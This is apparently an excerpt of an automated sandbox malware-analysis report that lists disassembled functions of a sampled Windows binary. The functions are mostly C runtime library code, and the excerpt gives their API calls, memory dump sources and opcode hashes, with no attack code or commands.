RtlAllocateHeap.NTDLL(00000008,?,?,?,006F2336,00000001,00000364,?,00000006,000000FF,?,006EB788,00708A98,0000000C), ref: 006F1F53

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 88460a9f924285a39f9ffa34da4292996b719eace70dc5ce53f2919240c8b119
Instruction ID: 225212e2f28e7687b02df9fe2670e4d79b0add93dcd5758e2e817993bd73589a
Opcode Fuzzy Hash: 88460a9f924285a39f9ffa34da4292996b719eace70dc5ce53f2919240c8b119
Instruction Fuzzy Hash: AFF0B43160722DE6DB255B669C02BBA37DBAB537F0B158151FE189E291DF30D80182E5

Function 006F5F8A Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,006F89B1,?,?,006F89B1,00000220,?,00000000,?), ref: 006F5FBC

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5a55dbfcddc6b9bbe04fb45a35204ed34dd04a2ed4daf1985ef0b1486f4fb610
Instruction ID: 3fbad26a68f03f653ac73e69041947f3ab808a2f9248ba5900e95dc4334415db
Opcode Fuzzy Hash: 5a55dbfcddc6b9bbe04fb45a35204ed34dd04a2ed4daf1985ef0b1486f4fb610
Instruction Fuzzy Hash: 54E0E521153B2AABEB2126619C05BFA7A4B8B113B1F1701B4FF26962C0DF20CD014AE9

Non-executed Functions

Function 006FB5E8 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006F22E9: GetLastError.KERNEL32(?,?,006EB788,00708A98,0000000C), ref: 006F22ED
Part of subcall function 006F22E9: SetLastError.KERNEL32(00000000), ref: 006F238F

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 006FB6F4
IsValidCodePage.KERNEL32(00000000), ref: 006FB73D
IsValidLocale.KERNEL32(?,00000001), ref: 006FB74C
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 006FB794
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 006FB7B3

Strings

4Cp, xrefs: 006FB64D

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: 4Cp
API String ID: 415426439-1467152804
Opcode ID: 1e560f22c608fd7ca4e78914d4dda3d3591720a1c0e4b521745dd1d60d7066e4
Instruction ID: 39fd40c82f0ad0ea7cb9c97def9adf130ad94660300258838e8bea69d5284db2
Opcode Fuzzy Hash: 1e560f22c608fd7ca4e78914d4dda3d3591720a1c0e4b521745dd1d60d7066e4
Instruction Fuzzy Hash: 715181B1A0020DABDB50EFA5DC41AFE77BABF48700F145129E610EB290EBB0D9008B65

Function 006FB413 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,006FB731,00000002,00000000,?,?,?,006FB731,?,00000000), ref: 006FB4AC
GetLocaleInfoW.KERNEL32(?,20001004,006FB731,00000002,00000000,?,?,?,006FB731,?,00000000), ref: 006FB4D5
GetACP.KERNEL32(?,?,006FB731,?,00000000), ref: 006FB4EA

Strings

OCP, xrefs: 006FB467
ACP, xrefs: 006FB431

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 774a75a80d9b90ad9bb757f87417114c6cc6eacfba6eff9710e3b54ebcb20536
Instruction ID: d34cb2f2e8eef519d9dbe4e22c25be2172724c2bfd792bd0732ce8b8036a018e
Opcode Fuzzy Hash: 774a75a80d9b90ad9bb757f87417114c6cc6eacfba6eff9710e3b54ebcb20536
Instruction Fuzzy Hash: FE21AE3260010CA6DB348F14CB01BFB73E7AF50B64B569424EA0AC731AEB32DD41C390

Function 006F81B2 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 006F82A2
FindNextFileW.KERNEL32(00000000,?), ref: 006F8396
FindClose.KERNEL32(00000000), ref: 006F83D5
FindClose.KERNEL32(00000000), ref: 006F8408

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 4833589aa96b0453d4a16efe42c5fbb77d01caca135a88d8b32431f5b2912dae
Instruction ID: 8495c8d1433e09c27f7b35049d0ee8ec92aedc8872ebc28f2bf049a73ef65aae
Opcode Fuzzy Hash: 4833589aa96b0453d4a16efe42c5fbb77d01caca135a88d8b32431f5b2912dae
Instruction Fuzzy Hash: C671017290511D9FDF21EF288C99AFEBBBAAF05300F1442D9E148A7211EE359E858F54

Function 006E7B35 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 006E7B41
IsDebuggerPresent.KERNEL32 ref: 006E7C0D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 006E7C26
UnhandledExceptionFilter.KERNEL32(?), ref: 006E7C30

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6a048fd779df8f08cb2369ebc29e4a471f43e555a2ce11269919a7ea5705218b
Instruction ID: 9c1216bb9a2081a31e761642dfbbf26f3a270eb2593e1657cd267c8444648531
Opcode Fuzzy Hash: 6a048fd779df8f08cb2369ebc29e4a471f43e555a2ce11269919a7ea5705218b
Instruction Fuzzy Hash: 253127B5D05318DBDB60DFA5D9497CDBBB8BF08300F1041AAE40CAB250EB749A858F84

Function 006FB097 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 006F22E9: GetLastError.KERNEL32(?,?,006EB788,00708A98,0000000C), ref: 006F22ED
Part of subcall function 006F22E9: SetLastError.KERNEL32(00000000), ref: 006F238F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006FB0EB
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006FB135
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006FB1FB

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 38c7249e07f552ab1b246bc5e0808f53428080d8f41a9281a4af1553b38a58f1
Instruction ID: ad241330e36c6244ddf0ecfdbe8dcfe4c3a4a8ea23380cd4b669456dbed49224
Opcode Fuzzy Hash: 38c7249e07f552ab1b246bc5e0808f53428080d8f41a9281a4af1553b38a58f1
Instruction Fuzzy Hash: 5761B0B150020F9FDB68DF24CC82BBA77AAEF04310F149179EE05C6685EB74DA85CB54

Function 006EC606 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 006EC6FE
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 006EC708
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 006EC715

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: e58126171cb3bfa21633eb97b3a7b673ecff100b3ac366c196d0164e3364d5af
Instruction ID: 980c79f81f529e6db66f24545b153c4f9efad3fe223035ded1f809b188171293
Opcode Fuzzy Hash: e58126171cb3bfa21633eb97b3a7b673ecff100b3ac366c196d0164e3364d5af
Instruction Fuzzy Hash: 3231C674901318ABCB61DF29D9897CDB7B9BF08310F6041EAE41CA7251EB749F858F44

Function 006F2B47 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,006F14E5,?,20001004,00000000,00000002,?,?,006F0AE7), ref: 006F2B7B

Strings

mEn, xrefs: 006F2B66

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: mEn
API String ID: 2299586839-2555016830
Opcode ID: 8119fc2c9a49dc1d0b27fae39583259044c7d2292383da764becaad7e048f633
Instruction ID: 5465646dac5312239ded2aa0f40c977bb3bb7a86f04a996c90f66d1ebb8c96a7
Opcode Fuzzy Hash: 8119fc2c9a49dc1d0b27fae39583259044c7d2292383da764becaad7e048f633
Instruction Fuzzy Hash: B4E01A3150011EBBCF122F60DC15FAE3B26AB44760F004115FE05A5220CB758D21AAD8

Function 006F736A Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,?,?,?,006F7365,?,?,?,?,?,?,00000000), ref: 006F7597

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d802437829a806bf9a194eef6cba74db31009550ae08129f19483bed7bab63a5
Instruction ID: 13e989de4121d2051af9f2e86656b82c3590710fb9cf0765ba49f641b494a9f5
Opcode Fuzzy Hash: d802437829a806bf9a194eef6cba74db31009550ae08129f19483bed7bab63a5
Instruction Fuzzy Hash: 41B147322146099FD715CF2CC48AAA57BE2FF05364F258658E99ACF3A1C735E992CB40

Function 006E7630 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 006E7646

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 8f93ed82890c4c297d47062cb1239d80a4493cce24ad0489c0560363040b1547
Instruction ID: 961af67d2b0d147092168c6ff2648050987faf315c3d263592d62d294d154c86
Opcode Fuzzy Hash: 8f93ed82890c4c297d47062cb1239d80a4493cce24ad0489c0560363040b1547
Instruction Fuzzy Hash: C4517BB19153498FEB29CF6AE9917AABBF1FB48314F24812AD405EB350E7789D00CF54

Function 006FB2EA Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 006F22E9: GetLastError.KERNEL32(?,?,006EB788,00708A98,0000000C), ref: 006F22ED
Part of subcall function 006F22E9: SetLastError.KERNEL32(00000000), ref: 006F238F

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006FB33E

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: e0f7ecce4159618f99ec8a61d7bbcad3f064cf8204cef38b1aad4299e75b99e7
Instruction ID: bfa3d46936e8c8c7b452b1b9bdd9123e35cc5674c81521a36a22a1daeda5a8af
Opcode Fuzzy Hash: e0f7ecce4159618f99ec8a61d7bbcad3f064cf8204cef38b1aad4299e75b99e7
Instruction Fuzzy Hash: BE21BE7264420AABDF289F25DC42ABA73AEEF44314F20106EFE01C6241EB74ED059B54

Function 006FAF71 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006F22E9: GetLastError.KERNEL32(?,?,006EB788,00708A98,0000000C), ref: 006F22ED
Part of subcall function 006F22E9: SetLastError.KERNEL32(00000000), ref: 006F238F

EnumSystemLocalesW.KERNEL32(006FB097,00000001,00000000,?,-00000050,?,006FB6C8,00000000,?,?,?,00000055,?), ref: 006FAFE3

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ab60488e47c2fb417bf6c8e5d3ee03f939c1bed075d50ed3749c1970044e2fa5
Instruction ID: ab0b4ef3f8c16db3c4336c336c6580e068788596aa415a98850749390b08940d
Opcode Fuzzy Hash: ab60488e47c2fb417bf6c8e5d3ee03f939c1bed075d50ed3749c1970044e2fa5
Instruction Fuzzy Hash: 3D11257B2007099FDB189F79C8916BABB93FF80768B14442DEA468BB40D771B942CB40

Function 006FB519 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 006F22E9: GetLastError.KERNEL32(?,?,006EB788,00708A98,0000000C), ref: 006F22ED
Part of subcall function 006F22E9: SetLastError.KERNEL32(00000000), ref: 006F238F

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,006FB2B3,00000000,00000000,?), ref: 006FB545

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 4f92159db90295d806560d9e706bf6cb7debc8393e1c8befce2f8e2be54e5cb8
Instruction ID: a7cb0cc9753634f59e04923a043e70c95404f3e441e6676972a2bd61566c746f
Opcode Fuzzy Hash: 4f92159db90295d806560d9e706bf6cb7debc8393e1c8befce2f8e2be54e5cb8
Instruction Fuzzy Hash: B3F0F976A1011DABDF245F64CC06BFA7756EB40754F144429EE01A3240EB78FE41C694

Function 006FB00C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006F22E9: GetLastError.KERNEL32(?,?,006EB788,00708A98,0000000C), ref: 006F22ED
Part of subcall function 006F22E9: SetLastError.KERNEL32(00000000), ref: 006F238F

EnumSystemLocalesW.KERNEL32(006FB2EA,00000001,?,?,-00000050,?,006FB68C,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 006FB056

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 4a8ef9bbd002f3d92eaf892d863ea8fbbadbc2f8a68469cf5630504d6e66ecd4
Instruction ID: bb9f7ad9f60458a658fe151030e6ec8bee74366d51c08848731210a1e04de184
Opcode Fuzzy Hash: 4a8ef9bbd002f3d92eaf892d863ea8fbbadbc2f8a68469cf5630504d6e66ecd4
Instruction Fuzzy Hash: 38F0F63620030C9FDB245F75DC96ABB7B92FF81768F05842DFA054B690DB719D42CA54

Function 006F25E1 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 006EC954: EnterCriticalSection.KERNEL32(?,?,006F1FBF,?,00708DE8,00000008,006F2185,?,?,?), ref: 006EC963

EnumSystemLocalesW.KERNEL32(Function_000125D4,00000001,00708E68,0000000C,006F2A43,?), ref: 006F2619

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 847769d555ad1b2f48ca74fd49681b1338fafae34d7b1523b794519025088914
Instruction ID: 611c1c10524cc11ed0de70e63d0bdc8e53cf4ca05b02372e160020d024e21b55
Opcode Fuzzy Hash: 847769d555ad1b2f48ca74fd49681b1338fafae34d7b1523b794519025088914
Instruction Fuzzy Hash: 1CF03772A00309DFEB40DF98E846BAD77F1EB04721F10812AE911AB2A1CB7959408F99

Function 006FAF26 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006F22E9: GetLastError.KERNEL32(?,?,006EB788,00708A98,0000000C), ref: 006F22ED
Part of subcall function 006F22E9: SetLastError.KERNEL32(00000000), ref: 006F238F

EnumSystemLocalesW.KERNEL32(006FAE7F,00000001,?,?,?,006FB6EA,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 006FAF5D

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 4a7233f5fc50799e8e26dea1f910f60c84f77cb9561bc993c48b1e81b67ccf6f
Instruction ID: bc662e2204ab10ed07bee4e7ddbc6f0d6b60fdd19319016f84da5bee57946f57
Opcode Fuzzy Hash: 4a7233f5fc50799e8e26dea1f910f60c84f77cb9561bc993c48b1e81b67ccf6f
Instruction Fuzzy Hash: 8EF0557630020D97CB04AFB5D8066BA7F92EFC1B20F064059EB098B351C6319842C7A1

Function 006E7C91 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007C9D,006E714A), ref: 006E7C96

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 95e8e55dba6e5cc8e41a8a789c7a6e17f1412cb1143e505b8713f24a75e5aaa1
Instruction ID: 6a9a974d5d02d496272832fcbb25f4e058b3c1cda738ef451aef0b8a45bf8803
Opcode Fuzzy Hash: 95e8e55dba6e5cc8e41a8a789c7a6e17f1412cb1143e505b8713f24a75e5aaa1
Instruction Fuzzy Hash:

Function 006FB84A Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

